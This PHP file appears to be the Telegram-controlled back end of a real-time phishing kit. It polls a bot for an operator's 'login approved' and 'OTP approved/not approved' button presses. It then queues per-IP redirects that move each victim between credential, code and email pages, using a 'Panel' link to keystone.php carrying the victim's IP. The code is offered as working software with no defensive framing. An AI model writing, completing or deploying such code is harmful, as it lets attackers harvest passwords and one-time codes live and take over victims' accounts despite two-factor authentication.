<?php
function run_telegram_poll($timeout = 0) {
    $token_path = dirname(__DIR__) . DIRECTORY_SEPARATOR . 'token.php';
    if (!is_file($token_path)) {
        return;
    }
    $token = null;
    $chatid = null;
    require $token_path;
    if (empty($token)) {
        return;
    }

    $dir = __DIR__ . DIRECTORY_SEPARATOR;
    $lock_file = $dir . 'telegram_poll.lock';
    $lock_fp = @fopen($lock_file, 'c');
    if ($lock_fp === false) {
        return;
    }
    if (!flock($lock_fp, LOCK_EX | LOCK_NB)) {
        fclose($lock_fp);
        return;
    }

    $offset_file = $dir . 'telegram_offset.txt';
    $panel_ips_file = $dir . 'panel_message_ips.json';
    $pending_file = $dir . 'pending_redirects.json';

    $offset = 0;
    if (is_file($offset_file)) {
        $offset = (int) trim((string) file_get_contents($offset_file));
    }

    $url = 'https://api.telegram.org/bot' . $token . '/getUpdates?offset=' . $offset . '&timeout=' . (int) $timeout;
    $raw = @file_get_contents($url);
    if ($raw === false) {
        flock($lock_fp, LOCK_UN);
        fclose($lock_fp);
        return;
    }

    $data = json_decode($raw, true);
    if (empty($data['ok']) || !isset($data['result']) || !is_array($data['result'])) {
        flock($lock_fp, LOCK_UN);
        fclose($lock_fp);
        return;
    }

    $panel_ips = [];
    if (is_file($panel_ips_file)) {
        $tmp = json_decode((string) file_get_contents($panel_ips_file), true);
        if (is_array($tmp)) {
            $panel_ips = $tmp;
        }
    }

    $next_offset = $offset;
    foreach ($data['result'] as $update) {
        $next_offset = (int) $update['update_id'] + 1;

        if (empty($update['callback_query'])) {
            continue;
        }

        $cq = $update['callback_query'];
        $r = isset($cq['data']) ? trim((string) $cq['data']) : '';
        if ($r === '') {
            tg_poll_answer($token, $cq['id'], 'Invalid action');
            continue;
        }

        $msg = $cq['message'] ?? null;
        if (!$msg || !isset($msg['chat']['id'], $msg['message_id'])) {
            continue;
        }

        $cid = (string) $msg['chat']['id'];
        $mid = (string) $msg['message_id'];
        $key = $cid . '_' . $mid;

        $ip = '';
        $base = '';
        /* OTP approve/disapprove: always use message text first so session never expires */
        if (($r === 'approved' || $r === 'disapproved') && isset($msg['text'])) {
            $parsed = tg_parse_panel_url_from_message((string) $msg['text']);
            if ($parsed !== null) {
                $ip = $parsed['ip'];
                $base = $parsed['base'];
            }
        }
        if (($ip === '' || $base === '') && isset($panel_ips[$key])) {
            $ip = isset($panel_ips[$key]['ip']) ? trim((string) $panel_ips[$key]['ip']) : '';
            $base = isset($panel_ips[$key]['base']) ? rtrim((string) $panel_ips[$key]['base'], '/\\') : '';
        }
        if ($ip === '' || $base === '') {
            tg_poll_answer($token, $cq['id'], ($r === 'approved' || $r === 'disapproved') ? 'Could not read Panel link from this message.' : 'Session expired');
            continue;
        }

        if ($ip === '::1' || $ip === '127.0.0.1') {
            $ip = '127.0.0.1';
        }

        $redirect_url = null;
        if ($r === 'login_approved') {
            $redirect_url = $base . '/code.php';
        } elseif ($r === 'login_rejected') {
            $redirect_url = $base . '/index.php?error=1';
        } elseif ($r === 'approved') {
            $redirect_url = $base . '/email.php';
        } elseif ($r === 'disapproved') {
            $redirect_url = $base . '/code.php?error=1';
        } else {
            tg_poll_answer($token, $cq['id'], 'Unknown action');
            continue;
        }

        $pending = [];
        if (is_file($pending_file)) {
            $tmp = json_decode((string) file_get_contents($pending_file), true);
            if (is_array($tmp)) {
                $pending = $tmp;
            }
        }
        $pending[$ip] = ['url' => $redirect_url, 'set_at' => time()];
        @file_put_contents($pending_file, json_encode($pending), LOCK_EX);

        if ($r === 'login_approved') {
            tg_send_message($token, $cid, '✅ LOGIN APPROVED');
        } elseif ($r === 'login_rejected') {
            tg_send_message($token, $cid, '❌ LOGIN NOT APPROVED');
        } elseif ($r === 'approved') {
            tg_send_message($token, $cid, '✅ OTP APPROVED');
        } elseif ($r === 'disapproved') {
            tg_send_message($token, $cid, '❌ OTP NOT APPROVED');
        }

        tg_poll_answer($token, $cq['id'], 'User is redirected');
    }

    if (!empty($data['result'])) {
        @file_put_contents($offset_file, (string) $next_offset);
    }

    flock($lock_fp, LOCK_UN);
    fclose($lock_fp);
}

/**
 * Parse Panel URL from OTP/Code Telegram message text to get ip and base (so approval works anytime).
 * Message contains a line like "Panel: https://example.com/custom/keystone.php?ip=1.2.3.4"
 */
function tg_parse_panel_url_from_message($text) {
    if (preg_match('/Panel:\s*(\S+)/i', $text, $m) !== 1) {
        return null;
    }
    $url = trim($m[1]);
    $parts = parse_url($url);
    if (!isset($parts['host'])) {
        return null;
    }
    $path = isset($parts['path']) ? $parts['path'] : '/';
    $base = (isset($parts['scheme']) ? $parts['scheme'] . ':' : '') . '//' . $parts['host'];
    if (isset($parts['port']) && $parts['port'] !== 80 && $parts['port'] !== 443) {
        $base .= ':' . $parts['port'];
    }
    if (strpos($path, '/custom/keystone.php') !== false) {
        $base .= preg_replace('#/custom/keystone\.php.*$#', '', $path);
    } else {
        $base .= preg_replace('#/[^/]*$#', '', $path);
    }
    $base = rtrim($base, '/');
    $ip = '';
    if (isset($parts['query']) && preg_match('/[?&]ip=([^&\s]+)/', $url, $ipm)) {
        $ip = trim(urldecode($ipm[1]));
    }
    if ($ip === '') {
        return null;
    }
    return ['ip' => $ip, 'base' => $base];
}

function tg_poll_answer($token, $callback_query_id, $text) {
    $url = 'https://api.telegram.org/bot' . $token . '/answerCallbackQuery';
    $body = http_build_query([
        'callback_query_id' => $callback_query_id,
        'text'             => $text,
    ]);
    $ctx = stream_context_create([
        'http' => [
            'method'  => 'POST',
            'header'  => 'Content-Type: application/x-www-form-urlencoded',
            'content' => $body,
        ],
    ]);
    @file_get_contents($url, false, $ctx);
}

function tg_send_message($token, $chat_id, $text) {
    $url = 'https://api.telegram.org/bot' . $token . '/sendMessage';
    $body = http_build_query([
        'chat_id' => $chat_id,
        'text'    => $text,
    ]);
    $ctx = stream_context_create([
        'http' => [
            'method'  => 'POST',
            'header'  => 'Content-Type: application/x-www-form-urlencoded',
            'content' => $body,
        ],
    ]);
    @file_get_contents($url, false, $ctx);
}
